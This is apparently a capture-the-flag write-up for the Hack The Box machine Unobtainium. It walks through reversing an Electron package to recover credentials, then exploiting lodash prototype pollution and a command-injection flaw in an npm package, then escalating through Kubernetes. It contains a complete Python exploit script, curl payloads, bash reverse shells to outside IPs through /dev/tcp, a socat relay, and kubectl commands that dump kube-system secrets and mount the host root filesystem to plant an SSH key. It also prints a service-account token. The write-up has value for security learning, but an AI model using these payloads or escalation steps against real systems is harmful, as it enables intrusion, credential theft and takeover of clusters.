Enumeration
IP-ADDR: 10.10.10.235 unobtainium.htb
nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after: 2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after: 2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
8443/tcp open ssl/https-alt
| fingerprint-strings:
# ...[snip] ...
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-05-30T07:10:33
|_Not valid after: 2022-05-31T07:10:33
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Not valid before: 2021-01-17T05:37:08
|_Not valid after: 2022-01-17T05:37:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- In first visit, Don’t find anything interesting anywhere. Only Apache httpd on port 80 contains a downloadable archive.
Foothold
Reversing Electron application deb package
Unzip downloaded archive gets a deb package. we can use dpkg to view control information of the deb package. get from here
Found Some information
- Hostname:
unobtainium.htb
- Username:
felamos@unobtainium.htb
Extract files from deb file with ar
utility.
1
ar -xv unobtainium_1.0.0_amd64.deb
control.tar.gz
archive contains scripts used by package installer to install binaries.
1
2
3
4
5
6
❯ tar -xvf control.tar.gz
./
./postinst
./postrm
./control
./md5sums
From these tar archives get some information about that package.
- This application written in Electron framework
- Package created with FPM
data.tar.xz
contains all executable binaries under ./opt/unobtainium
folder.
All Electron framework creates An asar archive is a simple tar-like format that concatenates files into a single file to mitigate issues around long path names, slightly speed up require and conceal your source code from cursory inspection.Electron can read arbitrary files from it without unpacking the whole file.
We can find that file in ./opt/unobtainium/resources
and Extract it with asar
. get from here
only interesting file found on application source code is todo,js
Found interesting information
- User creds:
felamos:Winter2021
- this script sending post request to
/todo
and requesting for a txt file.
If we go to “TODO” in the app, we get the todo list.
Intercepting application traffic on burp by setting http_proxy
environment variable. get from here
1
export http_proxy=127.0.0.1:8080
Intercepting /todo
request, and changing "filename":"todo.txt"
value. gets an error with empty value.
after some try, get some idea that we are currently /usr/src/app/
here and we can not go anywhere from here, but we can read any file inside that directory.
try to Read for ./index.js
file
Get some interesting information from index.js
file
There are 2 user, in this application, admin user password is random, so not possible to get it.
There is a another endpoint
/upload
- But it is checking for
user.canUpload
and only admin can upload. So this never gonna possible.
- But it is checking for
Don’t find anything in index.js
that can be exploitable.
Next Checking package.json
for any outdated or vulnerable dependencies used by this application and found 2 dependencies and both are outdated and vulnerable.
Prototype Pollution
lodash: 4.17.4
is vulnerable for Prototype Pollution Vulnerability, CVE-2018-16487: snyk Vulnerability DB, in lodash <4.17.11 functionsmerge
,mergeWith
, anddefaultsDeep
can be tricked into adding or modifying properties ofObject.prototype
.
And we can verify this from
index.js
file that put method when sending message it uses_.merge
Exploit PoC from Kirill89@github.com
Exploit
We can use Prototype Pollution Vulnerability to enable
canUpload
for userfelamos
1
{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text": "test", "__proto__": {"canUpload": true}}}
Command injection
google-cloudstorage-commands : 0.0.1
CVE-2020-28436: snyk Vulnerability DB, Affected versions of this package are vulnerable to Command Injection fromupload
function. If we check source code of this library, it is usingexec
function to upload file.
And we can verify this from
index.js
file that/upload
is usingupload()
function.PoC Found on snyk Vulnerability DB
Exploit
now we can Use
/upload
endpoint with user “felamos
” credentials to inject system command intoupload()
function fromfilename
parameter.1
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& <command>"}
Automate script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import argparse
import json
import requests as r
import sys
parser = argparse.ArgumentParser()
url = 'http://10.10.10.235:31337'
def read_file(file):
data = {"auth": {"name": "felamos", "password": "Winter2021"}, "filename": f"{file}"}
jsonify = json.dumps(data)
headers = {'Content-type': 'application/json', 'Accept': 'application/json, text/javascript, */*; q=0.01'}
rspn = r.post(f'{url}/todo', data=jsonify, headers=headers)
cleaned = rspn.text.replace('\\n', '\n').replace('\\', '')
return cleaned
def send_proto():
data = {"auth": {"name": "felamos", "password": "Winter2021"},
"message": {"text": "Prototype_Pollution", "__proto__": {"canUpload": True}}}
jsonify = json.dumps(data)
headers = {'Content-type': 'application/json', 'Accept': 'application/json, text/javascript, */*; q=0.01'}
rspn = r.put(url, data=jsonify, headers=headers)
return rspn.text
def exec_cmd(cmd):
data = {"auth": {"name": "felamos", "password": "Winter2021"}, "filename": f"& {cmd}"}
jsonify = json.dumps(data)
headers = {'Content-type': 'application/json', 'Accept': 'application/json, text/javascript, */*; q=0.01'}
rspn = r.post(f'{url}/upload', data=jsonify, headers=headers)
return rspn.text
parser.add_argument('-r', '--read-file', help="<filename> Read file, Only application files")
parser.add_argument('-U', action='store_true', help="Enable file Upload")
parser.add_argument("-c", '--command', help="Send blind System Command")
args = parser.parse_args()
if __name__ == "__main__":
try:
if args.read_file:
print(read_file(args.read_file))
elif args.U:
print(send_proto())
elif args.command:
print(exec_cmd(args.command))
else:
print(f"[-] Try python {sys.argv[0]} -h")
except KeyboardInterrupt:
print('User has exited the program')
And finally get reverse shell
1
❯ python exploit.py -c '/bin/bash -c "bash -i >& /dev/tcp/10.10.15.71/4141 0>&1"'
Privesc
- We are inside kubentes container
1
[+] Container Platform ...... kubentes
There is a crontab /var/spool/cron/crontabs/root
running from root inside container
This crontab is removing any file/binary with name “kubectl”. That means this container don’t want us to install kubectl
command in this container.
Kubernetes
Kubernetes is an open-source container orchestration platform that enables the operation of an elastic web server framework for cloud applications. Source vmware.com
Cluster: A Kubernetes cluster is a set of nodes that run containerized applications. Multiple computer network or a supercomputer with tone of resources divided into small nodes.
Node: Kubernetes runs your workload by placing containers into Pods to run on Nodes. A node may be a virtual or physical machine, depending on the cluster.
Pods: Pod is similar to a group of Docker containers with shared namespaces and shared filesystem volumes.
Containers: A container is a standard unit of software that packages up code and all its dependencies required for a application to run.
Service Account
From hacktricks notes
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
Usually in the directory /run/secrets/kubernetes.io/serviceaccount
or /var/run/secrets/kubernetes.io/serviceaccount
you can find the files:
ca.crt
: It’s the ca certificate to check kubernetes communicationsnamespace
: It indicates the current namespacetoken
: It contains the service token of the current pod.
Kubectl
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://book.hacktricks.xyz/pentesting/pentesting-kubernetes/
Connect to Kubernetes api
Found blog for create kubeconfig
token
came from/run/secrets/kubernetes.io/serviceaccount/token
certificate-authority-data
came form/run/secrets/kubernetes.io/serviceaccount/ca.crt
in base64 encoded format
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
kind: Config
users:
- name: poorduck
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3YycHEiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQwODNiNTAyLWU0ZGMtNGZiMC1iNzU1LTY0ZmU3ZGVkMzcxNSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.mmkqCtOB3qHPkdybHAJuaLGpQk01UGqecZZO9TfMMeO02PO2CfXoeuRyR1I0BDmyJlxuzuDZdl0k6i0AsQF4DU3Ow_Rm-YZ5cIWDVV3tfuWIA0PvJsmlJqDC4X4OmbOIULLw4i5ckWO_0I35OhlRRLumnaRRrJKFaRnWA1H-zRyAPF3fBGtUuFJecHLNTOaDMyffvBCcblT5z4jjC7V4jKKG05NUNY4UNvvtCiFfevoeTfUzJ4L2dFtkOkHV8k_nC__eJu-CqOvLQlNAWgnJvhNLry_5IVGPxos80R0IC8gOto5bFx0WsSj5av56ff_1UsnDD68IG9uHdinOZC4xvA
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM1ekNDQWMrZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeE1ERXdOekV6TWpRME9Wb1hEVE14TURFd05qRXpNalEwT1Zvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTVRDCmozSE9PMXRhaE1PUHpkNjhuYUtoQmVpYUFaM2lxdC9TY25lZ1RnbEttdHo1RGFnRUQ1WWFqWk0rVXl2UEVxUSsKdSttYjFaYzFLYnJjMkZnM0M0OEJZN09JUDZHZk9YOTkwUERLSmhxWnRhT0FkY1U1R2ExYXZTK2wzZG82VjJrQwplVnN0d1g2U1ZJYnpHSkVVeE1VUGlac0Z0Nkhzdk43aHRQMVA1Z2V3d3Rnc1ZJWER5TGwvZVJmd0NuMlpXK24zCk5nQzRPSTg0empWSHBYbVhGYUdzZURIYi9FNHdLL04waE1EMERFVlBKc0VPb2dITTlMbmRVZ3lKbWhBdFdiRWoKMjUrSDhBd1FpMy84UFlORXNtdFNBVUV1V3RZMzZweC9zRDVDdGhpTmxOcGtCNXQ1YzFHSzkwRG15b2ZxQmdZdgo5d2tDTkdHWktwM0F4TU1OMm5zQ0F3RUFBYU5DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFBSEpqbzhVYzNTSDFVbnNLU3daSlR1eWozNlcvbXNiTXIwcFNuM2RsRTZCb3V1a2hGMwo5R3htVmEyYW40L1ZGSmtBc1pTcUZVejFlNTJxdkpvRkpjWGVjNE1pTjZHWlRXdVVBOUQvanFpYXBuSFdlTzh4ClJHazRXTjY2WnJhTTBYM1BxYUhvK2NiZmhLT2xMOWprVXh2RSszQld1ajlwbHlEM245dEZlM2xuYXNEZnp5NE0KcTQ2NWl4UFpxRnFWY2h4UUZRK3BaMjRLaXFvUVc0bWFtL3g1RlB5MTMrTXc4SjR6Yjh2TGR1dkxRUjN3cFVHYgp2S1hkbktPTFdzaUV4eXJqcFpqWmJZQkw4YjcwNVhGRkd2bWFicDIxYUc4cHNCMVh2c0xpR0ZRRXF5RGZlRlJXCmhsN0twVUlTbDQrTnA1c0FpWE53dGJTREUrMjJRVnRaYnVEbgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0t
server: https://10.10.10.235:8443/
name: unobtainium-cluster
contexts:
- context:
cluster: unobtainium-cluster
user: poorduck
name: context
current-context: context
preferences:
colours: true
Save this config file in the ~/.kube/config
and then we can access to Kubernetes api from our machine.
Enumeration
Follow-up with hacktricks notes
Check if we can read secret from current pod, but we don’t
1
kubectl get secrets -o yaml -n kube-system
namespace: Kubernetes supports multiple virtual clusters backed by the same physical cluster. These virtual clusters are called namespaces.
1
kubectl get namespaces
There is a virtual clusters “dev”
Checking permission of Current Privileges in kubeernetes api, we can list “dev” cluster pods.
1
kubectl auth can-i --list -n dev
1
kubectl get pods -n dev
If we check one of the pod information, we can see that all pods are running a node application on port 3000. These are the replicas of the application that is running on public port 31337, Where we found the prototype pollution and command injection.
1
kubectl describe pod <pod_name> -n dev
We can verify that this is the same app by sending same todo request.
1
curl -s -X POST 'http://172.17.0.6:3000/todo' --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename": "todo.txt"}' -H 'Content-type: application/json'
Root shell in Dev
Setup socat listener to redirect local reverse shell to our machine.
1
./socat tcp-l:8080 tcp:10.10.14.15:443 &
Exploit Prototype Pollution to enable upload funcnality
1
curl -s -X PUT 'http://172.17.0.10:3000' --data '{"auth": {"name": "felamos", "password": "Winter2021"},"message": {"text": "Prototype_Pollution", "__proto__": {"canUpload": true}}}' -H 'Content-type: application/json'
Exploit Command injection to get reverse shell
1
curl -s -X POST 'http://172.17.0.10:3000/upload' --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename": "& /bin/bash -c \"bash -i >& /dev/tcp/172.17.0.5/8080 0>&1\""}' -H 'Content-type: application/json'
Replace kubeconfig token with current pod token
and From this pod’s Current Privileges kubectl auth can-i --list
, We can read kubernetes secrets and found admin token
1
kubectl get secrets -o yaml -n kube-system
kubernetes with admin token
Now if we check Current Privileges again from admin token, there is a extra rule and with that we can do all commands on all resources
with that we can edit cluster deployment config file and mount host root in the pod.
Edit webapp-deployment
deployment config file.
1
kubectl edit deployment webapp-deployment
in webapp-deployment
there is already a host volume /opt/user/
is mounted in the deployment /root
here we can simply edit hostpath and replace with /
and get host root filesystem in the container’s /root
after edited check if deployment get restarted and new pods generated.
1
kubectl get pods --all-namespaces
Here new problem comes, After adding host root filesystem in webapp-deployment
, this cluster died in every minute and regenerate new pods again
there seems to be a cron killing containers every minute.
We can put ssh key in the host /root
after mounted in the pod under one minute and then ssh in.
Check new generated pod name with kubectl get pods --all-namespaces
get inside that pod
1
kubectl exec -it webapp-deployment-7bd959c968-flvg2 -- bash
And put ssh key
1
2
3
4
mkdir /root/root/.ssh
chmod 700 /root/root/.ssh
echo "<id_rsa.pub>" > /root/root/.ssh/authorized_keys
chmod 600 /root/root/.ssh/authorized_keys